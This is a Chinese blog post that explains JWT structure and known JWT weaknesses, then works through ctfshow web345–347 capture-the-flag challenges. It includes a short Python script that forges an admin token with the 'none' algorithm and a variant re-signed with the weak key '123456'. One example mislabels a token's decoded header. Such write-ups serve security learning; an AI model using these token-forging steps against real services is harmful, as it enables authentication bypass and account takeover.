JWT学习(ctfshow web入门jwt)


jwt介绍

ctfshow web入门jwt

jwt(JSON Web Token)是一串json格式的字符串,由服务端用加密算法对信息签名来保证其完整性和不可伪造。Token里可以包含所有必要信息,这样服务端就无需保存任何关于用户或会话的信息,JWT可用于身份认证、会话状态维持、信息交换等。它的出现是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。

一个jwt token由三部分组成,header、payload与signature,以点隔开,形如aaaa.bbbb.cccc。

一个具体的例子:

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoidXNlciJ9XQ
header用来声明token的类型和签名用的算法等,需要经过Base64Url编码。比如以上token的头部经过base64解码后为{“alg”:”HS256”,”typ”:”JWT”}
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
解码为

{   
    "alg": "HS256",
    "typ": "JWT" 
}

alg属性表示签名的算法(algorithm),默认是 HMAC SHA256(写成 HS256);
typ属性表示这个令牌(token)的类型(type),JWT 令牌统一写为JWT
payload用来表示真正的token信息,也需要经过Base64Url编码。比如以上token的payload经过解码后为{“sub”:”1234567890”,”name”:”John Doe”,”iat”:1516239022}
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ
解码为

 {   
     "sub": "1234567890",  
    "name": "John Doe",
    "iat": 1516239022 
}

JWT 规定了7个官方字段,供选用
iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号
signature,将前两部分用alg指定的算法加密,再经过Base64Url编码就是signature了,作用是防止数据篡改。
解码
一般推荐去http://jwt.io/解码,拿上面这个例子

解密前

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoidXNlciJ9XQ
解密后

{
  "alg": "None",
  "typ": "jwt"
}
[
  {
    "sub": "user"
  }
]

JWT的安全问题
1.修改算法为none
2.修改算法从RS256到HS256
3.信息泄漏 密钥泄漏
4.爆破密钥
存在的漏洞:
CVE-2015-9235 Alg:无攻击
CVE-2016-5431密钥混淆攻击
CVE-2018-0114密钥注入攻击 其他已知攻击
JWKS欺骗
“kid”注射
跨服务中继攻击
弱密钥

web345

工具:burp suite,jwt在线解码工具链接

分析:首先看到提示/admin
在这里插入图片描述
访问抓包,看到auth,实际上就是jwt:
在这里插入图片描述
然后,用在线工具解码:

在这里插入图片描述
然后,根据提示修改sub为admin,并生成jwt:
在这里插入图片描述
然后,修改auth的值,转发得到flag:

在这里插入图片描述

web346

查看源码

where is flag?
<!-- /admin -->

访问/admin并抓包,拿到cookie

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzNzI4ODAwNiwiZXhwIjoxNjM3Mjk1MjA2LCJuYmYiOjE2MzcyODgwMDYsInN1YiI6InVzZXIiLCJqdGkiOiJlMWJiNGMzNzU4ZDI5MDdkNmI2NzM5Y2M3NzI2MWM5MiJ9.WL38WUmRO3mH7RelgnBODbIH9XSwd6n8VpljqQ0K-z0

解码:

&#123;
  "alg": "HS256",
  "typ": "JWT"
&#125;
&#123;
  "iss": "admin",
  "iat": 1637288006,
  "exp": 1637295206,
  "nbf": 1637288006,
  "sub": "user",
  "jti": "e1bb4c3758d2907d6b6739cc77261c92"
&#125;

然后把sub字段修改为admin,然后把alg修改为none,但是jwt.io网站没法生成alg为none的jwt,所以写一个脚本

import jwt
#header
header=&#123;
    "alg": "none",
    "typ": "JWT"
&#125;
#payload
payload=&#123;
    "iss": "admin",
    "iat": 1637288006,
    "exp": 1637295206,
    "nbf": 1637288006,
    "sub": "admin",
    "jti": "e1bb4c3758d2907d6b6739cc77261c92"
&#125;
jwtToken=jwt.encode(payload,"",algorithm="none",headers=header)
print(jwtToken)

然后将生成的cookie替换原有的获得flag。

web347

与web346类似,弱密码为123456,只需要在上面的代码中略作修改:

jwtToken=jwt.encode(payload,"123456",algorithm="HS256",headers=header)

文章作者: kento
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 kento !
评论
  目录